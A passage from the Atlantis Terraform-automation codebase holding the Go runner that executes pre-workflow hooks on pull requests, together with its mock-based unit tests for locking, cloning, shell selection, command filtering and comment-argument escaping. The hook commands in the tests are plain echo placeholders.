:= postWh.RunPostHooks(ctx, planCmd) Assert(t, err != nil, "error not nil") postWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace)) whPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) }) t.Run("error cloning", func(t *testing.T) { postWorkflowHooksSetup(t) unlockCalled := newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, errors.New("some error")) err := postWh.RunPostHooks(ctx, planCmd) Assert(t, err != nil, "error not nil") whPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("error running post hook", func(t *testing.T) { postWorkflowHooksSetup(t) unlockCalled := newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, errors.New("some error")) err := postWh.RunPostHooks(ctx, planCmd) Assert(t, err != nil, "error not nil") Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("comment args passed to webhooks", func(t *testing.T) { postWorkflowHooksSetup(t) unlockCalled := newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } planCmd := &events.CommentCommand{ Name: command.Plan, Flags: []string{"comment", "args"}, } expectedCtx := pCtx expectedCtx.EscapedCommentArgs = []string{"\\c\\o\\m\\m\\e\\n\\t", "\\a\\r\\g\\s"} postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("shell passed to webhooks", func(t *testing.T) { postWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHookWithShell, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand), Eq(testHookWithShell.Shell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("shellArgs passed to webhooks", func(t *testing.T) { postWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHookWithShellArgs, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellArgs.RunCommand), Eq(defaultShell), Eq(testHookWithShellArgs.ShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Shell and ShellArgs passed to webhooks", func(t *testing.T) { postWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PostWorkflowHooks: []*valid.WorkflowHook{ &testHookWithShellandShellArgs, }, }, }, } postWh.GlobalCfg = globalCfg When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := postWh.RunPostHooks(ctx, planCmd) Ok(t, err) whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand), Eq(testHookWithShellandShellArgs.Shell), Eq(testHookWithShellandShellArgs.ShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Commands 'plan' set on webhook and plan command", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithPlanCommand, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Commands 'plan' set on webhook and non-plan command", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithPlanCommand, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Apply)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, applyCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Commands 'plan, apply' set on webhook and plan command", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithPlanApplyCommands, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) } ================================================ FILE: server/events/pre_workflow_hooks_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "strings" "github.com/google/uuid" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" ) //go:generate pegomock generate --package mocks -o mocks/mock_pre_workflow_hook_url_generator.go PreWorkflowHookURLGenerator // PreWorkflowHookURLGenerator generates urls to view the pre workflow progress. type PreWorkflowHookURLGenerator interface { GenerateProjectWorkflowHookURL(hookID string) (string, error) } //go:generate pegomock generate --package mocks -o mocks/mock_pre_workflows_hooks_command_runner.go PreWorkflowHooksCommandRunner type PreWorkflowHooksCommandRunner interface { RunPreHooks(ctx *command.Context, cmd *CommentCommand) error } // DefaultPreWorkflowHooksCommandRunner is the first step when processing a workflow hook commands. type DefaultPreWorkflowHooksCommandRunner struct { VCSClient vcs.Client `validate:"required"` WorkingDirLocker WorkingDirLocker `validate:"required"` WorkingDir WorkingDir `validate:"required"` GlobalCfg valid.GlobalCfg `validate:"required"` PreWorkflowHookRunner runtime.PreWorkflowHookRunner `validate:"required"` CommitStatusUpdater CommitStatusUpdater `validate:"required"` Router PreWorkflowHookURLGenerator `validate:"required"` } // RunPreHooks runs pre_workflow_hooks when PR is opened or updated. func (w *DefaultPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *CommentCommand) error { preWorkflowHooks := make([]*valid.WorkflowHook, 0) for _, repo := range w.GlobalCfg.Repos { if repo.IDMatches(ctx.Pull.BaseRepo.ID()) && len(repo.PreWorkflowHooks) > 0 { preWorkflowHooks = append(preWorkflowHooks, repo.PreWorkflowHooks...) } } // short circuit any other calls if there are no pre-hooks configured if len(preWorkflowHooks) == 0 { return nil } ctx.Log.Info("Pre-workflow hooks configured, running...") unlockFn, err := w.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, DefaultWorkspace, DefaultRepoRelDir, "", cmd.Name) if err != nil { return err } ctx.Log.Debug("got workspace lock") defer unlockFn() repoDir, err := w.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) if err != nil { return err } var escapedArgs []string if cmd != nil { escapedArgs = escapeArgs(cmd.Flags) } err = w.runHooks( models.WorkflowHookCommandContext{ BaseRepo: ctx.Pull.BaseRepo, HeadRepo: ctx.HeadRepo, Log: ctx.Log, Pull: ctx.Pull, User: ctx.User, Verbose: false, EscapedCommentArgs: escapedArgs, CommandName: cmd.Name.String(), API: ctx.API, }, preWorkflowHooks, repoDir) if err != nil { ctx.Log.Err("Error running pre-workflow hooks %s.", err) return err } ctx.Log.Info("Pre-workflow hooks completed successfully") return nil } func (w *DefaultPreWorkflowHooksCommandRunner) runHooks( ctx models.WorkflowHookCommandContext, preWorkflowHooks []*valid.WorkflowHook, repoDir string, ) error { for i, hook := range preWorkflowHooks { ctx.HookDescription = hook.StepDescription if ctx.HookDescription == "" { ctx.HookDescription = fmt.Sprintf("Pre workflow hook #%d", i) } ctx.HookStepName = fmt.Sprintf("pre %s #%d", ctx.CommandName, i) ctx.Log.Debug("Processing pre workflow hook '%s', Command '%s', Target commands [%s]", ctx.HookDescription, ctx.CommandName, hook.Commands) if hook.Commands != "" && !strings.Contains(hook.Commands, ctx.CommandName) { ctx.Log.Debug("Skipping pre workflow hook '%s' as command '%s' is not in Commands [%s]", ctx.HookDescription, ctx.CommandName, hook.Commands) continue } ctx.Log.Debug("Running pre workflow hook: '%s'", ctx.HookDescription) ctx.HookID = uuid.NewString() shell := hook.Shell if shell == "" { ctx.Log.Debug("Setting shell to default: '%s'", shell) shell = "sh" } shellArgs := hook.ShellArgs if shellArgs == "" { ctx.Log.Debug("Setting shellArgs to default: '%s'", shellArgs) shellArgs = "-c" } url, err := w.Router.GenerateProjectWorkflowHookURL(ctx.HookID) if err != nil && !ctx.API { return err } if err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.PendingCommitStatus, ctx.HookDescription, "", url); err != nil { ctx.Log.Warn("unable to update pre workflow hook status: %s", err) ctx.Log.Info("is api? %v", ctx.API) if !ctx.API { ctx.Log.Info("is api? %v", ctx.API) return err } } _, runtimeDesc, err := w.PreWorkflowHookRunner.Run(ctx, hook.RunCommand, shell, shellArgs, repoDir) if err != nil { if err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.FailedCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { ctx.Log.Warn("unable to update pre workflow hook status: %s", err) } return err } if err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.SuccessCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { ctx.Log.Warn("unable to update pre workflow hook status: %s", err) if !ctx.API { return err } } } return nil } ================================================ FILE: server/events/pre_workflow_hooks_command_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "errors" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" runtime_mocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) var preWh events.DefaultPreWorkflowHooksCommandRunner var preWhWorkingDir *mocks.MockWorkingDir var preWhWorkingDirLocker *mocks.MockWorkingDirLocker var whPreWorkflowHookRunner *runtime_mocks.MockPreWorkflowHookRunner var preCommitStatusUpdater *mocks.MockCommitStatusUpdater func preWorkflowHooksSetup(t *testing.T) { RegisterMockTestingT(t) vcsClient := vcsmocks.NewMockClient() preWhWorkingDir = mocks.NewMockWorkingDir() preWhWorkingDirLocker = mocks.NewMockWorkingDirLocker() whPreWorkflowHookRunner = runtime_mocks.NewMockPreWorkflowHookRunner() preCommitStatusUpdater = mocks.NewMockCommitStatusUpdater() preWorkflowHookURLGenerator := mocks.NewMockPreWorkflowHookURLGenerator() preWh = events.DefaultPreWorkflowHooksCommandRunner{ VCSClient: vcsClient, WorkingDirLocker: preWhWorkingDirLocker, WorkingDir: preWhWorkingDir, PreWorkflowHookRunner: whPreWorkflowHookRunner, CommitStatusUpdater: preCommitStatusUpdater, Router: preWorkflowHookURLGenerator, } } func newBool(b bool) *bool { return &b } func TestRunPreHooks_Clone(t *testing.T) { log := logging.NewNoopLogger(t) var newPull = testdata.Pull newPull.BaseRepo = testdata.GithubRepo ctx := &command.Context{ Pull: newPull, HeadRepo: testdata.GithubRepo, User: testdata.User, Log: log, } defaultShell := "sh" defaultShellArgs := "-c" testHook := valid.WorkflowHook{ StepName: "test", RunCommand: "some command", } testHookWithShell := valid.WorkflowHook{ StepName: "test1", RunCommand: "echo test1", Shell: "bash", } testHookWithShellArgs := valid.WorkflowHook{ StepName: "test2", RunCommand: "echo test2", ShellArgs: "-ce", } testHookWithShellandShellArgs := valid.WorkflowHook{ StepName: "test3", RunCommand: "echo test3", Shell: "bash", ShellArgs: "-ce", } testHookWithPlanCommand := valid.WorkflowHook{ StepName: "test4", RunCommand: "echo test4", Commands: "plan", } testHookWithPlanApplyCommands := valid.WorkflowHook{ StepName: "test5", RunCommand: "echo test5", Commands: "plan, apply", } repoDir := "path/to/repo" result := "some result" runtimeDesc := "" pCtx := models.WorkflowHookCommandContext{ BaseRepo: testdata.GithubRepo, HeadRepo: testdata.GithubRepo, Pull: newPull, Log: log, User: testdata.User, Verbose: false, CommandName: "plan", } planCmd := &events.CommentCommand{ Name: command.Plan, } applyCmd := &events.CommentCommand{ Name: command.Apply, } t.Run("success hooks in cfg", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("success hooks not in cfg", func(t *testing.T) { preWorkflowHooksSetup(t) globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ // one with hooks but mismatched id { ID: "id1", PreWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, // one with the correct id but no hooks { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{}, }, }, } preWh.GlobalCfg = globalCfg err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) preWhWorkingDirLocker.VerifyWasCalled(Never()).TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, "", command.Plan) preWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace)) }) t.Run("error locking work dir", func(t *testing.T) { preWorkflowHooksSetup(t) globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(func() {}, errors.New("some error")) err := preWh.RunPreHooks(ctx, planCmd) Assert(t, err != nil, "error not nil") preWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace)) whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) }) t.Run("error cloning", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, errors.New("some error")) err := preWh.RunPreHooks(ctx, planCmd) Assert(t, err != nil, "error not nil") whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("error running pre hook", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, errors.New("some error")) err := preWh.RunPreHooks(ctx, planCmd) Assert(t, err != nil, "error not nil") Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("comment args passed to webhooks", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHook, }, }, }, } planCmd := &events.CommentCommand{ Name: command.Plan, Flags: []string{"comment", "args"}, } expectedCtx := pCtx expectedCtx.EscapedCommentArgs = []string{"\\c\\o\\m\\m\\e\\n\\t", "\\a\\r\\g\\s"} preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("shell passed to webhooks", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithShell, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand), Eq(testHookWithShell.Shell), Eq(defaultShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("shellArgs passed to webhooks", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithShellArgs, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellArgs.RunCommand), Eq(defaultShell), Eq(testHookWithShellArgs.ShellArgs), Eq(repoDir)) Assert(t, *unlockCalled == true, "unlock function called") }) t.Run("Shell and ShellArgs passed to webhooks", func(t *testing.T) { preWorkflowHooksSetup(t) var unlockCalled = newBool(false) unlockFn := func() { unlockCalled = newBool(true) } globalCfg := valid.GlobalCfg{ Repos: []valid.Repo{ { ID: testdata.GithubRepo.ID(), PreWorkflowHooks: []*valid.WorkflowHook{ &testHookWithShellandShellArgs, }, }, }, } preWh.GlobalCfg = globalCfg When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, events.DefaultRepoRelDir, "", command.Plan)).ThenReturn(unlockFn, nil) When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) err := preWh.RunPreHooks(ctx, planCmd) Ok(t, err) whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), 